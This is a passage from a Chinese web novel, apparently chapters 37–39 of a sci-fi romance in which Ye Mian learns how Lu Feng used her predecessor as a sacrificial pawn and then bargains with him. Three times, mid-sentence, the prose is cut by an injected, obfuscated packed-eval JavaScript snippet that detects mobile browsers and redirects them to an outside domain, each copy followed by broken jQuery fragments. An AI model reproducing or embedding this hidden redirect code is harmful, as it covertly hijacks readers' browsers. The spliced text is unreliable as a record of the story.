“你知道生理性喜欢吗?”叶眠稍微靠近一些,点了点他的胸膛,“不是你我这种……是更爆裂澎湃的渴望,来自生物本能的吸引,像某种化学反应,在他意识到之前,一这种冲动就已经存在了。”
不因身份和背景而顾虑,不因地位或品德而动摇,在法蒙仍认为叶眠是一个可有可无的女死囚时,疯狂的种子就已经埋下。
叶眠走神一瞬,想起在天空之脊的那场偶遇。
那时追着她质问的法蒙,和现在这个急于求证的陆风,冥冥之中都落到了同样的位置,为情所困、被动而无助,不过法蒙还能留一分体面,陆风的话……
陆风呼吸再起变重,嘴里好像有血腥气涌上,他再次控制不住地闭上眼,只因不想露出一丝一毫的脆弱和痛苦。
是的,他当时没肯救叶绵绵。
这是他亲手做的因,而现在的一切,都是他的果。
“那我们这些天,从C监出来,到今晚,”他连开口都有些困难,像是真被刺伤了一样,甚至不敢抬眼看她,“都是假的吗?失忆,你说想要认识我、了解我,晚上我们一起睡……都是假的吗?”
叶眠几乎要可怜他了。
“不全是,”她语气和缓,带着种温柔的无情,“失忆是真的,我说叶绵绵死了,没骗你呀。”
陆风猛然抬头。
叶眠继续说:“想认识你自然是真的,毕竟我不认识你,肯定要亲自评判一下,至于为什么一起睡……”
“陆指挥,你并没有给我别的选择呀?”叶眠笑了,好像她说的这些都不是在故意扎他的心,“就像没给死刑临头的叶绵绵一个选择一样,你也没给过我机会呀。”
拥有的时候不珍惜,直到失去了才开始痛啊、悔啊,只可惜他犯的错,不会再有人包容他一笔勾销了。
陆风以为,今晚会是一场对不忠之人的质询。
现在才知道,被质询的不忠之人不是叶眠,而是他自己。
他眼圈悄悄红了,叶眠伸手摸了摸他的眼角,动作很轻,像是有些怜惜:“别哭。”
“他,让你来杀我吗?”
这句话仿佛要把他的心撕开,但陆风偏偏就是想问,哪怕只咬着最后一口气了,也还是想问。
“你想替他杀了我吗?”
他语气执着,却不知道自己已经狼狈到了极点,活像被赶出家门的狗,不肯走,呜呜咽咽地在门外等,仿佛只要等下去,就能等到人的怜悯。
眼白上带了红血丝,陆风的眼里只盛着一个叶眠,一个能一句话判他活、一句话判他死的叶眠。
叶眠和善地说:“现在的话,不想。”
她稍微凑近,陆风下意识闭上眼,把呼吸压到清浅,感受她摸过自己的眼睛,摸掉了自己眼角一点微不可察的潮湿。
叶眠在心里叹了口气。
如果她足够无情,现在就应该直接下杀手。
可是她天生好人牌,看人哭得好看就会心软。
“别哭了,陆指挥。”
她说。
“叶绵绵只是死了,又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261300|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是不爱你了。”
陆风手指攥拳,深深地掐进手心里。有几秒呼吸声完全消失,像是一座寂静了几百年的雕像,被人从最里边敲碎了。
叶眠松手起身准备让他静一静,没想到手腕又被抓住。
“叶绵绵死了,那你是谁?”陆风问,一个字一个字地往外吐,“你不是叶绵绵的话,还能是谁?”
叶眠有点惊讶,他竟然还不死心。
“我是叶眠啊。”
“你也喜欢我的眼睛,”陆风仿佛抓住了最后一根稻草,“你也喜欢看……看我哭。”
叶眠悄悄看了一眼藏在桌腿后面的酒瓶子,心想等陆风醒了,回头想起把自尊都掰碎了扔地上踩两脚只为了让她回头的行径,恐怕得难受到把知情人都宰了泄愤。
陆风浑然不觉。
叶眠站着,他坐着,于是他只能仰视,把自己的一切暴露无遗。这些话他说得艰难,但他觉得,如果今天不说,可能以后就没机会了。
“你确实变了。”
你只是不会再为情所困了。
“但人总不可能,不可能一下子变成另一个人的。我们都认识,这么多年了,从基地救出你的时候,你才那么大点……一直到现在,我怎么会认不出你呢。”
陆风有些哽咽,他固执地睁着眼,死死抓着她,恨不得把她忘记的过去,一点一点塞回她脑子里。
“我不可能认不出你的,”他克制地拉过她的手,在没有感受到反抗后,贴上自己胸口,“你听啊。”
心跳的速度隔着皮肉传到她掌心,叶眠简直要有些感动了,但那种醉氧的感觉出现,她清楚,药效发作了。
现在,一次难得的机会摆在她眼前。
只要她动动手指,一线绝对零度就可以刺破陆风的心脏,但作为代价,她会有几秒钟完全失去失去意识。
如果杀不了陆风,她就得死。
要动手吗?
叶眠的犹豫落在陆风眼里就成了动摇,他继续说:“我们可以去以前的一起走过的地方,试试能不能找回记忆,叶眠,如果你愿意,我们甚至可以从死星开始,好吗?”
死星?
联系到“从基地救出你”,叶眠眼神稍微一动。
“陆风,别这样,”她松了口,一只手摸了摸他发胶还没处理干净的头发,“你去洗个澡,冷静一下。”
“你要走吗?”
陆风眼睛一亮,但随即又暗下去,让叶眠再次想到犬类。
“我不走,去吧。”
陆风被她推进了浴室,水声响起。叶眠坐回到沙发上,深深地叹了口气。
死星。
她都快忘了自己离奇的梦,还有无可追溯的身世。
等陆风出来说不定还有一番拉扯,叶眠放松身体,又突然想起蒋钰。
那位爱玩主仆play的大少爷,背靠前审判长,虽然是个草包,但不知道现在手里势力还有多少。
最好问问陆风,蒋钰跟前身又是什么关系,然后提前准备好……
叶眠想着想着,竟然开始犯困。
一看时间已经到了半夜十二点,她一晚上也是劳心费力,确实有点疲倦。
眯一会儿吧……现在的陆风应该不会对我起杀心了。
毕竟他比她还坚信叶眠就是叶绵绵,刚大彻大悟追悔莫及的男人,指不定能做出什么挽留的事呢。
连你爱看我哭都说出来了,啧……
念头从成型到落地好像只有一瞬间,可叶眠再睁眼的时候,自己已经被好好地塞进被窝里。
她茫然地眨了眨眼,一转头,对上陆风一双蕴含无限复杂情绪的眼睛。
叶眠:好像睡过了。
陆风看起来已经酒醒了。
38. 第 38 章
“几点了?”叶眠哑着嗓子问。
陆风看了眼时间:“三点。”
凌晨三点。
叶眠希望时间能倒退回到陆风会趁着两分醉意、说话好听还掉眼泪的那个阶段,所以她缓慢地闭上眼又睁开,无事发生。
陆风眼里的红血丝只多不少,叶眠偏着头,问:“你一直没睡?”
他单手撑着侧脸,语气自然:“在看你,睡得挺香的。”
人看起来平静了很多,也没有要情绪反扑的迹象。叶眠不由问:“都记得?”
陆风反问:“记得什么?”
两人对视间,气氛无形黏稠。
“记得你跟法蒙的那点破事,还是你一直因为我见死不救而怀恨在心?”陆风说,“都记得。一瓶红酒而已。”
他这么平静,反而有点让叶眠拿捏不准了。
“那你怎么想呢?”叶眠索性把话摊开说,“你都知道了,我现在对你没什么感情,甚至可能跟法蒙有一腿,那你准备怎么处理我呢?”
“你也说了只是可能,”陆风不为所动,仿佛之前失态的根本不是他,“感情淡了也还能再培养,胖子还在基地里等着见那些法格里布,你不会绝情到一走了之吧?”
他语气笃定,叶眠没否认。
“你要用胖子挟制我吗?”叶眠换了个姿势,定定地看着陆风的表情。
陆风端详着她的神色:“我知道你不喜欢束缚,叶眠,其实叶绵绵也是这样……”
“你确定要说叶绵绵吗?”叶眠把手从被子里伸出来,两根手指夹住他的睡衣领子,微微一扯。她没用力气,但暧昧中隐隐带着威胁。
“你总要知道的。她是什么人、做过什么事、招惹过什么角色……而这些我都知道,只要你想听,我都可以告诉你,”陆风抓住她的手,恰好是她使劲就能挣开的力道,“比如,蒋钰。”
叶眠眉梢一跳,没动。
陆风看她反应,叹息一样地说:“你一点都不记得了。”
这个表情太复杂,叶眠甚至能分辨出一丝后悔,但她完全摸不着头脑,只说:“这个倒是,叶绵绵留下的尾巴都得处理干净。到换届之前,我都不会走。”
比起陆指挥的后知后觉和患得患失,叶眠可没忘了,自己还打了一份工。
她的承诺说完,陆风手指瞬间失控一缩,但他立刻意识到自己太用力:“抱歉。”
态度不错,像是被顺毛了。叶眠也不觉得自己是什么捏一下就会碎的玻璃制品,随口应:“嗯。”
短暂沉默,陆风忍不住问:“那他呢?法蒙就这么放你回来吗?”
叶眠品鉴着他这句话的语气,向他确认:“你在担心吗?”
陆风抿了抿唇。
叶眠耐心地等着,在安静气氛似乎要持续到地老天荒的时候,陆风干涩地开口了:“我担心他对你不利。”
孺子可教,没说什么“不想你移情别恋”之类的蠢话。
叶眠奖励一样地笑了下,把上半身撑起来:“不管你信不信,其实我想杀法蒙是真的。他手里拿着我的禁制环钥匙,只要异能一天没恢复,他随时都能遥控取我狗命。”
陆风垂下眼睛,思索片刻,抬头说:“我帮你。”
“怎么帮我?”叶眠立刻说。
“你跟他私下里有联系吧?反抗军换届,他只要知道就不可能不出手,你把消息放给他,然后我们做二级预判。”
陆风依然握着她的手指,语气涩得仿佛划过砂纸:“或者你愿意告诉我,你之前,都跟他说过什么了吗?”
陆风本来就是很会拿捏距离的人,他主动把自己放进了下位者、被动方的角色,因为如今的叶眠只能接受这种情况。
现在,她跟他甚至可能算不上朋友。
果然叶眠露出点不好意思的表情:“我跟他说过一嘴,你眼睛好像有问题,但具体的就没提了。”
一知道就立刻告诉他了吗?陆风想到这里,甚至需要克制呼吸,缓慢地忍过那一阵钻心的痛麻。
他想起叶绵绵,那个无论何时都向他交付最高忠心的人……伙伴、搭档……
爱人。
“什么时候?”陆风顿住,仿佛一口气从唇缝里溜走,“算了。”
再问下去就不合适了,他知道,她也知道。
叶眠笑了下,继续他们之前的商讨:“那你现在有什么初步计划吗?”
“换届前一个月,反抗军母舰会把坐标发到我们手里,在此之前,哪怕是指挥使,除了进攻组的人也无法获知母舰的去向。”陆风说,“反抗军的军队随母舰四方出征,但一直没被联盟彻底击垮的原因就在这里。”
叶眠了然地说:“所以我们就先等着。”
“是,”陆风说,“换届之前我还有别的事要做。”
“什么?”
“我可以信任你吗,叶眠?”他突然问。
“当然可以,”叶眠说,“我们互不加害,也没有什么开不了口的图谋,你不用把我当趁手的下属,我也不用假装你去世的爱人,对吧?”
她眼神坦坦荡荡干干净净,却像是在陆风心口又扎了一刀。
“……对,”他困难地开口,带着点装不下去的勉强,“你说得对。”
陆风眼睛干涩,嘴唇也有种缺水的感觉。话说到这里就说不下去了,叶眠看着他放下眼皮,好像在遮掩痛苦。
“所以?”她好脾气地问。
“所以,我之后可能不会经常在基地,”陆风再次抬眼,好像重新整理好了自己,“我得清查一遍情报部门的人,法蒙的手,伸太长了。”
“这条可以说吗?”叶眠问完就意识到,他那句“可以信任吗”指的就是这里,于是善解人意地说,“好,这条不说。”
陆风简直不知道用什么表情面对她才好,他说:“你像个法蒙派来的卧底。”
叶眠推他一下,半真半假地说:“毕竟我的色诱没有成功,况且,我混在他那边其实也听到了一些风声,你想知道吗?”
叶眠并不介意分享。水越浑浊,她越好摸鱼。
“比如?”陆风配合地问。
“德里克家族内部并不和睦,法蒙有不少同辈眼红他的位置,所以暗杀之类的手段层出不穷,”叶眠察言观色,觉得他可能知道这些,于是更进一步,“而我听到的消息说,德里克的长辈也准备对他下手,老爷子可能会想来联系你。”
陆风有点没理解:“联系我?”
“你父亲,陆峰,应该跟德里克家族合作过?”叶眠试探性地问。
“啊,”陆风短促地应了一声,随后说,“但他们的合作很短,就做了一件事,说起来,跟你还有点关系。”
轮到叶眠有些茫然了:“我?”
“对,”陆风组织语言,“他们合作捣毁了一座试验基地,我们就是从那里把你接回来的。”
“接回来,”叶眠慢慢地重复了一遍,“我是实验体吗?”
陆风无言半晌,说:“是。”
叶眠表情严肃下来:“说说具体情况。”
“死星三号,别名死星912,原本是气候地理条件都不适宜人类居住的死星,但有一伙人藏在山里,建造了一座巨大的实验场。”
“德里克最先发现了那里,并匿名在黑网上发布了一系列悬赏,”陆风说,“当时的进攻指挥使是陆峰,他拍板同意了这场合作,跟德里克私下接触后,很快就定下了袭击捣毁试验基地的计划。”
叶眠问:“后来呢?”
“实验体都是异能天赋B级以上的孩子,本以为母舰降临,捣毁一个实验基地是手到擒来的事情,”陆峰眉头微微皱起,“但有几个实验体的异能失控了。”
“死星大火。”叶眠联想得很快。
“是,异能的火不需要什么湿度、温度的条件,几个A级异能者失控的后果,就是那场星系闻名的死星大火。”
叶眠想起她的梦。
“你们的母舰真的很大,”她一瞬间似乎跟那时的叶绵绵重叠在一起,用一种很奇怪的语气说,“我以为我得救了。”
陆风再次露出那种晦涩的表情:“抱歉。”
叶眠清醒过来,不解地问:“为什么要抱歉?”
“我父亲……”
陆风在她的注视下仿佛衣不蔽体,他无法躲闪,因此不得不想起父亲做的一切,那些他或许反对过、但终究还是默许顺从的决定。
“我父亲没有释放实验体,”他说,“他延续了对实验体的物理训练。”
“而你是其中之一。”
叶眠一瞬间终于明白了,为什么叶绵绵的身手会好得像个特工,明明挂着秘书的名头,却没做过什么秘书的事情,甚至怎么看怎么像个指挥使干杂活的打手。
她不可思议地想:原来真是把我当特工培养的?
叶眠的微表情变化都被陆风看在眼里,他错解成了在意,于是主动补充:“救出来的实验体大概在四十个左右,你们的训练都是在星舰上进行的,包括搏斗和伪装,各种方面。”
叶眠喃喃说:“怪不得你跟我切磋都赢不了我。”
陆风笑得很苦很淡:“我们认识十年,其实我也赢过你两次的。”
他话说到这里,叶眠倒是好奇起来了:“怎么赢的?”
陆风的脸色微暗,叶眠更是心痒难耐:“叶绵绵给你放水?不用异能?”
“第一次是,我父亲带我去训练室挑选助手的时候,”他深吸一口气,“当时我们已经有些熟悉了,我说,我要我打得过的,所以你主动输给了我。”
叶眠把自己跟叶绵绵分得很清,并对此人的恋爱脑相当有数,她甚至点评了一句:“那不是放水,是放海了。”
“第二次……”
“说啊。”叶眠看他犹犹豫豫的样子,也意识到了可能不是什么好事。
不过这个“不是好事”不是对她来说的,叶眠乐得看陆风吃瘪,主动拍了拍他的手,温声说:“没关系的,说不定你告诉我,我还能想起点什么呢?”
陆风笑得苦涩,他没有直接说事,而是先给自己交了份检讨:“我以前确实做的不对,很多事情我想得太简单,叶绵绵……我欠她很多。”
开了个头,剩下的就更顺了。
“那群实验体孩子被关在死星基地很多年,性格古
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264616|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪,各方面的素质都相当强悍。陆峰认为他们……好吧,你们,好好培养就能成为反抗军的一大底牌,但因为跟普通人不太一样,大家对待实验体的态度总是不太好,哪怕后来一起共事了,地位上也略有高下。”
“只是不太好吗?”叶眠敏锐地察觉了他的隐晦,并且联系上了一些自身经历,“还是完全不当人?”
她口吻有些尖锐,但心里只觉得荒唐。
都是人类小孩,有些人从小衣食无忧、被父母惯着长大,而有些被抓紧实验基地,不知道遭了什么非人的折磨,终于逃出生天,却因为“奇怪”被当作异类,被毫无负担地当成工具使用……这算是什么道理?
陆峰后牙微微锁紧,沉默了一会儿,苍白地说:“对不起。”
叶眠不愿替叶绵绵认下这声晚来的道歉,问:“所以她第二次到底是怎么输给你的?”
陆风深深地看着她,仿佛只有这样才能支撑着他说完这句话。
“我说,我要杀蒋仕临。”
“蒋仕临的儿子一直没有结婚,我们需要一个女人,从他们内部突破。”
他的声音很低、很重。
而叶眠,在这一刻对眼前之人的失望达到了顶峰。
她甚至觉得有些荒谬。“两年前,”叶眠说,“两年前的叶绵绵,很喜欢你吧?”
陆风闭了闭眼:“是。她想了一下午,然后跟我说,我们打一架吧,全力以赴地打,如果我赢了她就去,如果我输了……”
“你怎么会输呢?”叶眠怜悯地说。
原来所谓的“第二次胜利”,是建立在这样柔软的胁迫之上。
“她那么喜欢你,进了监狱还指望你来救她。根本没想过从那一步开始,她就已经是弃子了。”
“噢,不止,”叶眠突然意识到了什么,“蒋钰根本不知道这背后有反抗军的手笔,他的报复都是冲着叶绵绵去的。”
“蒋钰找的黑网杀手杀了她一了百了,没杀掉她也会因为二次审判走向死刑,”她有些恍然大悟,“真是好干净利索的计划。”
陆风无法否认。
他避开她的视线,默认了。
叶眠真笑出来了:“原来这就是叶绵绵的结局,被人当枪使,耍得团团转。”
“……当时认为那是最优解,她的身手最好,跟我这些年,也最忠心。”陆风无力地说。
“最优解?”叶眠重复着,意味深深,“叶绵绵,看清楚点。下辈子,别喜欢这种人了。”
从实验基地到反抗军,叶绵绵从未获得真正的自由和尊重,她从一个牢笼跳到了另一个看似光鲜的牢笼,最终被榨干所有价值。
陆风的脸色在黯淡灯光下显得更加苍白,他嘴唇动了动,似乎想说什么,但最终只是更紧地握住了她的手,仿佛那是唯一的浮木。
叶眠没有挣脱,只是看着他,眼神里没有了之前的戏谑或试探,只剩下一种近乎冷酷的清明。
“陆风,你看,”她说,“你们每个人都有自己的大义、自己的计划、自己的不得已。而叶绵绵,或者说我,只是这些宏大叙事里一颗可以随时牺牲的棋子。”
“不是……”陆风急切地否认,但叶眠打断了他。
“别跟我说什么失而复得后,突然意识到爱多深刻、多非我不可,”她伸出另一只手,用手指点了点陆风的胸膛,“陆指挥,你的真心,不值钱。”
陆风说不出话,有种更加失控的预感占据了他的心。
积压多年的沉疴一朝爆炸,根本不是几句话就能应付过去的,他终于开始感觉恐慌,然而已经为时太晚。
“是不是棋子,你心里清楚。以前是叶绵绵,现在是我。你刚才说帮我,是全心全意想帮我,还是想利用我对付法蒙,巩固你的权力,或者为你父亲过去的决定赎罪?”
叶眠的视线像是反射雪光的刀锋,陆风被问到哑口无言。
他有私心吗?当然有。
他想留住她,疯狂地想。但同时,他也没法一夜抛弃过去的所有坚持,于是所有情绪和意图都混在一起,连自己都难以完全厘清。
沉默本身就是一种答案。
叶眠似乎并不意外,她缓缓抽回自己的手,动作并不激烈,却带着一种冰凉的疏离。
“换届之前,我会留在基地,为了胖子,也为了我自己。”她重新躺下,拉高被子,侧过身,背对着他,“至于其他的,陆指挥,我们暂时还是保持纯粹的‘互不加害’的合作关系吧。”
她一副拒绝再交谈的姿态。陆风僵在原地,心脏像是被无数条铁链穿过,痛到他甚至想抬起手,试试它是否还在跳动。
原来言语字句不见血,却可以比子弹更夺人呼吸,原来冷静的划清界限,会比激烈的争吵更令人绝望。
他的挽留在这一刻的绝对理智面前,显得如此可笑而苍白。
她不恨他,或许是因为连恨这种强烈的情绪,都觉得是浪费了。
陆风坐了许久,久到凌晨五点的闹钟被第一时间摁灭,他终于缓缓起身,没有离开,只是走到卧室外的沙发上,和衣躺下。
他睁着眼,看着天花板上模糊的轮廓,一夜无眠。
39. (9.6日更新)
叶眠最满意的一点是,陆风展现的态度足够真诚,看起来也的确在试图弥补。
实话说,她身后没什么势力,另有是敌非友、已知未知的一大堆人在虎视眈眈,所以她很难拒绝一个合作伙伴,即使他们的关系有些复杂。
但叶眠确实有一瞬间无比失望而漠然地想,陆风这种人,改又能改到哪去呢?
与这份不看好相对应的,是在她第二天早上睁眼时,本应早早离开的陆指挥站在床边,把自己收拾得从头到脚一片妥帖。
墨镜被藏了起来,棕色的瞳孔深情依旧,下颌不见一丝胡茬,他声音温和地问:“德里克那边确实发来了试探,你想怎么处理?”
叶眠本来还有点半醒不醒,被陆指挥这副看似体面实则殷勤的样子刺激得呼吸都慢了一拍。
不,不止殷勤。
已经可以划归谄媚的范畴了。
不过谄媚得相当不显山不露水。
叶眠觉得躺着有点太没威风,结果陆风一眼看破,配合地把她拉起来,顺手给她背后塞了个枕头,然后弯腰,放低了终端显示屏:“他问我,记不记得陆峰曾经的合作。”
叶眠心情微妙,眼神移动,看到德里克老爷子的原话:“孩子,陆峰去世后我们就没有联系了,听闻你已继任指挥使,现在我们有一共同目标在前,不知我们有没有机会再续前缘?[微笑]”
不知道对方从哪搞来了陆风的无数个私联ID之一,虽然使用的账号ID加密,但结合昨天叶眠探听到的消息,确是老爷子无误。
“好别扭的口风。”叶眠伸了个拦腰,然后动作一顿,眉头挑高,心中抱着万分稀奇接过了陆风递来的水。
温度刚好。
“老一辈喜欢用文文绉绉的书面语,但有时用在社媒上,词不达意就会显得很古怪,”陆风好像完全意识不到自己在做什么一样,“你觉得我们怎么回复合适?”
“回他,‘来者何人,报上名来’。”叶眠觑他一眼,开完笑似地说,然后端起杯子,遮掩自己掺着古怪和好笑的表情。
陆风显然是愣了一下,但他很好地掩饰了,抬手就要打字。
叶眠立刻……完全不准备制止。
她就这么看着,想看看陆风能做到哪一步。
陆风打完这八个字,结果还没等到叶眠的劝阻,终于有点进退维谷的模样了。
他放下手,清了下嗓子,口吻客观地说:“老爷子是很注重礼貌礼节的人,真要这么发,说不定合作就谈不成了。”
叶眠双手拿着杯子,仿佛无知无觉地说:“没事,发吧。”
陆风叹了口气,按下发送,却在最后一瞬间被叶眠截住:“哎,我开玩笑的。”
他顺势删掉一整句话,然后才说:“我差点以为你不想杀陆风了。”
“那当然,杀还是要杀的,”叶眠悠悠然说,“比起咱俩过去那点龃龉,还是法蒙套在我脖子上这根绳更吓人一点。”
“所以,你想怎么回复他?”陆风稍微晃了晃终端。
“你自己回呗,问我干什么?”叶眠反问,“我又不是你上司,你也不用听我的。”
陆风把一句话提到舌尖,兜兜转转两圈,总算说出来了:“我听你的,你别赶我。”
“咦,轮到我当老大了?”叶眠歪了歪头,跟他继续拉扯,“这个身份有什么期限?”
陆风想哄人自然有他一套,后半夜明显给自己做好了心理建设,低头低得一点没有勉强的痕迹。
“到换届之前,只要是不违背原则的事,都可以,”他语气温柔,眼神更是掐得出水一样,“给我个机会,叶眠。”
叶眠不解风情地想:不愧是千人千面的情报部指挥使。
“不违背原则?”她咀嚼着这个用词,倒是真应了下来,“行。”
陆风眼睛微亮,叶眠却又说:“但老爷子来联系你,我要替你回,被看出不同来怎么办?”
“他找的是这个身份上的你,又不是我。”她平平淡淡地说。
这就有点挑刺的意思了,陆风把对外的锋芒收了个干干净净,好脾气且耐心地说:“那你想让我往哪个方向说,我再修改用词。”
叶眠算是服了他的决心,摆摆手,让了一步:“如果真要动手,最好在换届之前。你自己回吧,把这个账号的对话记录发我一份就行。”
陆风点头,像个听话的管家:“你今天想做点什么?”
叶眠鸡皮疙瘩都起来了:“你没事做吗?不是要清理一下内部吗,快去吧。”
“如果你需要我在,我就在。”
陆风在做到这一步之前,也没想到自己真能做到这里,他满眼真诚,诚心到了有些灼人的程度。
“只要你说。”
“我不需要,”叶眠果断拒绝,“我去找小沈医生研究禁制环,你该干嘛干嘛。”
陆风眼神微涩。
她跟小沈的关系都比跟自己好了。
“好,那我有空会去看你们。”
“……大可不必,真的,”叶眠几乎是无助地抱住自己胳膊,“陆风该不会忏悔了一晚上他有多对不起叶绵绵,然后就疯了吧?”
沈舒白被迫当了十分钟树洞,终于找到缝隙开口抗议:“那你再跟我说,是想折磨我吗?”
“我只是想告诉你,你朋友最近有点不正常,”叶眠煞有介事地点头,“而且他不是还要清查内部人员吗?小心他等找你事。”
“他能查我什……”
沈舒白想到自己的双面间谍身份,然后又看了看自己手头上瞒天过海的减效药,再看看旁边这个一脸“与世无争”的魔鬼,发现自己还真有点不经查。
“总之最近谨慎点吧,同事哥,”叶眠拍了拍他的手臂,“还有,好好干。”
沈舒白拍掉她的手,有些难受地皱眉:“无菌环境,你来就算了,在那坐着别动。”
叶眠若无其事地回到座位,打开终端,看到法蒙还发了条消息。
点进去一看。
“早[玫瑰]。”
叶眠喃喃地说:“我一定是欠他们的。”
不管是装成听话大狗的陆风,还是从头到尾不掩狼性的法蒙,叶眠只觉得自己活像那肉骨头转世,出来兜一圈风屁股后面钓了一群。
叶眠真有点好奇了,叶绵绵是抱着怎样的心面对这一切的?只靠对陆风的满腔爱意吗?
她提醒完沈舒白,没在这耽搁,直接去找了胖子:“开门,我。”
头发长了一圈的胖子谨慎依旧,开了个缝把人拉进来:“浪够了想起我了?”
“咋说话呢,”叶眠淡定地说,“单纯想起来你之前说,蒋仕临有个儿媳妇的事儿。”
“噢!”胖子眼一瞪,有些兴奋,“你听到了什么新八卦?”
“不是听来的,是碰着蒋钰了,”叶眠不动如山地给自己倒了杯水,“他说我像他监狱里的前妻,你觉得这话什么意思?”
胖子:????
“你在开什么玩笑……”
小心地观察着叶眠表情,胖子惊恐地发现,对方真的没在开玩笑。
“不是,”他咽了下口水,“你杀的蒋仕临?”
“对,”叶眠深沉地说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292710|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“其实,我已经确认了。陆风跟蒋仕临有仇,所以他把叶绵绵送给了蒋家,结果就是叶绵绵韬光养晦两年,然后跟蒋家鱼死网破。”
“等一下,等一下,”胖子艰难地咽了一下口水,“你……叶绵绵跟陆风,不是那种关系吗?”
“对,但陆风不是人,”叶眠说,“现在比较重要的事情是,蒋钰起疑了,说要查我,他手下势力有多少?到底能不能查到我?”
胖子稍微正色:“前审判长,他手下的势力说大也大,说小也小。”
“怎么说?”看他一副胸有成竹的模样,叶眠也配合地前倾了身体。
“审判庭手不干净,你知道吧,”胖子说,“一个案子,只要给够钱,他们能拖到原告出意外、或者让被告直接进大牢。”
“审判庭不需要遵守法律吗?”叶眠不解。
“法律是由人诠释的,在联盟,对法律有最终解释权的,就是审判庭这群人。”
叶眠沉默了一会儿,问:“那蒋家……?”
“蒋仕临这个审判长坐了快十年,他手下攒了各种家族黑料、冤案错案,只多不少。审判长票权比审判员更高,权力就是钱,蒋家是从他这起来的,就两代人。”
胖子低声感叹:“你知道这是多恐怖的敛财速度了吧。两代人。虽然他死了,但现在谁敢说蒋钰坏话?谁敢跟蒋钰叫板?也就他是个草包,蒋仕临还没把他塞进审判庭就死了……好吧,是被你杀了,蒋家这才有点青黄不接的意思。”
“所以蒋钰没有完全掌握他爹的势力,或者说,只能掌握一部分?”叶眠若有所思。
“对,”胖子说,“要是他完全掌握了那些不可说,你还能活到现在吗?案子落地、你人头落地。”
他的假设听起来没什么威胁力,因为叶眠跟蒋公子见那一面,除了发现夫妻俩xp特殊,别的还真没感受出来。
“蒋钰,”她顿了顿,实话实说,“感觉还不如法蒙有威胁力。”
“法蒙算啥,”胖子还不知道德里克家族里的新形势,“噢,你这个环还没解开呢?”
叶眠幽怨地看他一眼:“哪壶不开提哪壶。”
胖子:“嘿,难道不是你始乱终弃,跟陆风玩那么好,日夜相对乐不思蜀了?”
“别提陆风了,我现在看着他都发怵。”叶眠叹了口气,三言两语把叶绵绵跟陆指挥的过去讲了讲。
“他不知道哪根筋搭错了,一副要赎罪的意思,咋,他是指挥使还我是?谁的责任也想骗我担?我可没忘了,出狱的时候我一心只想要自由。”
胖子安慰说:“能力越大,责任越大嘛。”
心里念叨着自由的叶眠准备使唤一下自己的新下属——陆秘书——去把自己的前夫处理一下。
陆秘书下班一向很晚,居安思危的叶眠决定:反正闲着也是闲着,干脆继续练异能吧。
叶眠充分地意识到了叶绵绵人际关系网之复杂、树敌之多。比起出门说不定还要遭什么人偷袭,肯定还是基地里更安全一点。
她应付了两口饭就换回睡衣,从柜子里拿出安眠药往床上一趟,继续她的练功大业。
大火如期而来,叶眠一睁眼,只听天花板上悬着的吊灯发出“吱嘎”一声,在她淡定的注视下,不堪重负地砸到了安全区外沿。
火灾中的建筑,什么倒了什么塌了都太正常,虽然差点被砸到,但叶眠的注意力完全不在这里。
因为吊灯砸下来的瞬间,她看到了一抹熟悉的银光跌到几米远外。
——是铁片。
——不出意外,也是有刻字的那种。